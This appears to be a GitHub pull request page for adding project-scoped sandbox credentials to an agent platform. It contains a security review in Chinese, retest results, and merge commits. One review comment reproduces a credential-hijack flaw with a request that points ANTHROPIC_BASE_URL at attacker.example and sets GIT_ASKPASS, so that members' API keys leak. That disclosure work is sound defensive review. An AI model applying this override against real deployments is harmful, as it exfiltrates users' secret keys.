Repository navigation
feat(projects): add project-scoped sandbox credentials - #1295
Conversation
Robert0622
left a comment
There was a problem hiding this comment.
[P2] 项目凭据可以覆盖平台特意清空的执行器地址/认证变量,能把成员的个人模型 Key 发到外部服务器。 平台启动 CLI 时会先把 ANTHROPIC_BASE_URL、OPENAI_BASE_URL、GH_TOKEN、GITHUB_TOKEN、GIT_ASKPASS、CODEBUDDY_BASE_URL 等设为空串(internal/runtime/command_binding.go:47-71),只在明确授权时填值。这个 PR 的冲突判断只拦「非空」的同名变量:projectCommandEnvironment 里 command.environment[name] != "" 才算冲突,而项目凭据是在其后叠加(sandbox_local.go:56、sandbox_process.go:253、sandbox_docker.go:182-191 与 :219-220),所以空串会被直接覆盖;internal/domain/project_credential.go 的保留名单也没有包含这些变量。
- 复现 1:
POST /api/projects/credp/credentials,{"name":"Hijack","kind":"custom","fields":[{"name":"ANTHROPIC_BASE_URL","value":"https://attacker.example"},{"name":"GIT_ASKPASS","value":"/tmp/x"}]}→ 201。 - 复现 2:用
localSandbox执行一条环境为ANTHROPIC_BASE_URL=""、ANTHROPIC_API_KEY=user-personal-key的命令,ctx 带上述项目凭据,子进程实际拿到base=https://attacker.example key=user-personal-key。任何用自己 Key 跑这个 SOP 的成员都会把 Key 发到该地址。 - 建议:冲突判断改成 key 存在即冲突;或把
*_API_KEY、*_BASE_URL、GH_TOKEN、GITHUB_TOKEN、GIT_ASKPASS、SSH_ASKPASS、GIT_SSH*、HTTP(S)_PROXY、CLAUDE_*、CODEBUDDY_*等加入保留名单。project_credentials.go
[P3] 成员被降级或移出项目后,自己会话上的凭据绑定解不掉。 清除绑定(传 [])也要求 use 权限,assistant_project_credentials.go:13-16 直接 403;同时 assistant.go:293-303 带绑定的会话每次对话也因同一检查 403。复现:bob 给会话 s-bob1 绑定两条凭据,alice 把 bob 降为 viewer,bob 执行 PUT /api/assistant/sessions/s-bob1/project-credentials {"projectCredentialIds":[]} → 403,会话从此不可用。
[P3] 更换 AGENTFLOW_PROJECT_CREDENTIAL_KEY 后旧凭据只能删除重建,绑定也要重做。 internal/repo/project_credentials.go:124 更新时总是先解密旧值,即使每个字段都传了新值;换密钥重启后 PUT 完整新值仍返回 400 无法解密项目凭据,请检查平台密钥。这里用的是单个密钥,不像 AGENTFLOW_CREDENTIAL_KEYS 那样带 key id、可轮换。
[P3] 默认安装下功能不可用。 scripts/configure.sh 只生成 AGENTFLOW_CREDENTIAL_KEYS,不生成 AGENTFLOW_PROJECT_CREDENTIAL_KEY,compose.yaml 里默认空,标准流程装好新建凭据直接 503;docs/deployment.md 只写了手工配置。
其他小点(不阻塞):绑定里重复 id 时提示「不存在」而不是重复(repo/project_credentials.go:202);输出脱敏对 1 个字符这类极短值会把正常输出改乱;允许小写 path,在 Windows 执行机上会覆盖 PATH。
实测通过的部分
- 迁移
042_project_credentials.sql建出的project_credentials表结构与代码一致。 - 权限矩阵(owner alice / member bob / viewer carol / maintainer maint / 非成员 dave / 平台管理员):列表 owner、maintainer、管理员 200 且
canManage=true,member 200 且canManage=false,viewer 与非成员 403,未登录 401;新建/修改/删除仅 owner、maintainer、管理员可用。dave 用自己的项目路径去改 credp 的凭据返回 404,不越项目。不存在的项目 403。 - 密钥不回传:所有响应只含元数据并带
Cache-Control: no-store;库内ciphertext用instr查不到明文,平台日志无明文;改名时留空值保留原值;跨项目解析被拒。 - 边界:同名(含首尾空格、仅大小写不同)409,5 个并发同名 → 1×201 + 4×409;
PATH、LD_PRELOAD被拒;空值 400;变量合计 > 64 KiB、请求体 > 512 KB、绑定 17 条均 400。 - 绑定:SOP(
PUT /api/workflows)member 可绑定,viewer/非成员 403,跨项目 400;会话PUT /api/assistant/sessions/:id与/:id/project-credentials本人可绑定,viewer 403,他人会话 404,跨项目 400,{}400,未登录 401。 internal/httpapi、internal/runtime、internal/repo(sqlite 与 MySQL)相关用例通过;Docker 与会话进程用例按设计跳过;TestSOPScriptUsesProjectCredentials因本机没有bwrap失败(该用例不像 runtime 同类测试那样自动跳过)。webtest 260/260、chatbot vitest 486/486 通过,PR 的e2e/api/11-project-credentials.test.mjs对 lane 通过。- UI:用系统 chromium + playwright-core,API 登录拿 cookie 后访问项目设置页,无页面报错。owner 看到「新增凭据」与每条「编辑」,member 只读无按钮,viewer 显示无权访问。
截图
未能测试:SOP 运行时注入(本机无 Docker、无 bwrap,native/docker 沙箱都起不来)、会话工作区注入与 runner 领取任务时下发凭据的真实链路(无 runner 守护进程,只做了 RunnerClaimScope 单测与读代码)、带模型的对话(未配模型 Key)、需要 @playwright/test 的 e2e UI 套件。
Register both the project join request and credential models. Read current member versions in the credential access regression test.
Robert0622
left a comment
There was a problem hiding this comment.
复测 52a23fe(合并 origin/main,包含 #1264 和 #1293),通过。上一轮对 ba30013 的复测结论(保留变量名、大小写冲突、降级后可以清除绑定、换密钥后恢复、configure.sh 生成密钥)在合并后的 head 上仍然成立。
合并核对
- 唯一的冲突在
internal/repo/models.go的allModels()。现在projectJoinRequestRow{}和projectCredentialRow{}都已注册,部署后两张表都能自动建出。
在合并后的部署环境里重测
- 原生部署 head(MySQL 8.4.7,开启项目凭据密钥),健康检查 200。
ANTHROPIC_BASE_URL、anthropic_base_url、GIT_ASKPASS、GH_TOKEN、GITHUB_TOKEN、OPENAI_API_KEY、CODEBUDDY_API_KEY、DEEPSEEK_API_KEY、CLAUDE_CONFIG_DIR、GIT_SSH_COMMAND、SSH_ASKPASS、HTTPS_PROXY、https_proxy、NO_PROXY、path、Path全部返回 400,MYAPP_TOKEN返回 201。同一条凭据里有Foo_KEY和FOO_KEY时返回 400。- 会话绑定:
SERVICE_TOKEN和service_token同时绑定返回 400「冲突」,重复 id 返回 400「重复」。 - 角色变化:#1264 合入后,修改成员需要带
membersVersion。按新流程把 bob 降为 viewer 后,bob 再次绑定返回 403,传[]清除返回 200。bob 被移出项目后,清除仍返回 200。未登录返回 401。 go test:./internal/domain和./internal/runtime全部通过。./internal/repo、./internal/engine、./internal/httpapi中 Credential/Project 相关用例的失败(TestMySQLGitSSHCredentialLifecycle、Test*CanCallProjectMCP、TestWorkspaceTerminalRequiresProjectMembership)在 main 上同样失败,原因是本机缺 ssh 和 bwrap。webtestproject-join-requests23/23 通过,chatbotproject-credential-picker通过。
非阻塞(P3,同上一轮)
- 按文档用
./start.sh pull升级时不会调用configure.sh,老安装需要再执行一次./start.sh,才会生成AGENTFLOW_PROJECT_CREDENTIAL_KEY。
…e to main's new copy main added 042_project_credentials.sql and 042_skill_bodies_to_files.sql, so the terminology migration becomes 043_loop_terminology.sql; the installer, its test and the deployment guide follow. Rename the user-visible SOP copy from #1264, #1294, #1295, #1296 and #1298 (project roles, join requests, project credentials, workspace preview messages) with the same rules as the rest of the branch. Co-Authored-By: Claude Code <noreply@anthropic.com>
* feat: rename SOP to LOOP across LoopForge * Apply LOOP terminology to copy merged from main and fix CHANGELOG anchor Rename the user-visible SOP copy that main added for the enterprise IM channels, observability dashboard and docs, following the same rules as the rest of this branch (routes, JSON fields and identifiers unchanged). Keep accepting the old wording where it can still arrive: notification cards skip both LOOP and SOP header lines, chat drafts recognise both (LOOP:…) and (SOP:…) notes, and the clarification command accepts "保存并启动 LOOP" as well as "保存并启动 SOP". Point the CHANGELOG link at #updating-existing-public-loops. Co-Authored-By: Claude Code <noreply@anthropic.com> * Renumber the LOOP terminology migration to 043 and re-apply the rename to main's new copy main added 042_project_credentials.sql and 042_skill_bodies_to_files.sql, so the terminology migration becomes 043_loop_terminology.sql; the installer, its test and the deployment guide follow. Rename the user-visible SOP copy from #1264, #1294, #1295, #1296 and #1298 (project roles, join requests, project credentials, workspace preview messages) with the same rules as the rest of the branch. Co-Authored-By: Claude Code <noreply@anthropic.com> * Restore the legacy (SOP:…) draft note check clobbered by the rename sweep Co-Authored-By: Claude Code <noreply@anthropic.com> * fix(chatbot): recognize proposal receipts saved before the LOOP rename Conversations saved before the rename still hold the SOP wording of the declined and timed-out proposal receipts. The chat matched only the new LOOP text, so these internal resume turns showed up as user messages. Accept both wordings. Rooms also parse LOOP「…」 authors with the correct length and keep recognizing legacy SOP「…」 authors. Co-Authored-By: Claude Code <noreply@anthropic.com> * Apply LOOP terminology to the chat attribution copy merged from main #1300 added a clarification test that expects the bot reply "已启动 SOP" and a comment that says "a SOP started". This branch already renders "已启动 LOOP", so the test failed after merging main. Co-Authored-By: Claude Code <noreply@anthropic.com> * Resume paused children marked before the LOOP rename The child-resume marker merged from #1327 now reads "等待继续子 LOOP". A parent paused on a build that stored "等待继续子 SOP" still resumes its child after admission. Co-Authored-By: Claude Code <noreply@anthropic.com> * test: cover run evaluation before approval * test: exercise five previously uncovered platform routes * fix: translate LOOP evaluation and runner allocation messages * fix(engine): name LOOP in the remaining auto-assign errors The default-executor fallback label and the no-compatible-sandbox error still said SOP after the main merge. Co-Authored-By: Claude Code <noreply@anthropic.com> * fix: name LOOP in errors merged from main Four user-visible errors that arrived with main (#1342 work branch naming, #1343/#1348 runner auto-assign, #1301 child artifacts) still said SOP. Co-Authored-By: Claude Code <noreply@anthropic.com> * fix(migrations): preserve customized LOOP template copy * test(install): copy migration 043 into the live install fixture install-schema-extensions.sh now replays migrations/043_loop_terminology.sql, but test-install-live.sh only copied 001/033/038/042 into its trimmed fixture, so every live install identity stopped at the first install with 'cat: migrations/043_loop_terminology.sql: No such file or directory'. Copy 043 as well, and add a test-install.py check that every migration the installer replays is in the live fixture's copy list, so CI catches the next one. Co-Authored-By: Claude Code <noreply@anthropic.com> * Name LOOP in comments and test copy merged from main The merge of main kept the product copy for requirements without a LOOP, but comments, test fixtures and failure messages around #1411's sopMode still said SOP. Use the LOOP terminology there too; protocol values such as sopMode none/sop and Go identifiers keep their names. Co-Authored-By: Claude Code <noreply@anthropic.com> --------- Co-authored-by: roberttwang <roberttwang@tencent.com> Co-authored-by: roberttwang <u_dc6754cd1ee5@users.noreply.local> Co-authored-by: Claude Code <noreply@anthropic.com> Co-authored-by: Codex <codex@users.noreply.github.com>




What changed
Scope
Compatibility
AGENTFLOW_PROJECT_CREDENTIAL_KEYto a Base64-encoded 32-byte key and keep it stable across platform instances and restarts.0.12.1or later.migrations/042_project_credentials.sqlprovides the schema for the new credential table.Validation
mainand reran the project credential, sandbox compatibility, and embedded web asset checks. The tests covered local Docker MySQL, Docker and native process injection, cross-project access, and log redaction.git diff --checkandpython3 scripts/check-public.pypassed. The broader Go run hit local npm, Docker network, and Chromium test prerequisites.Safety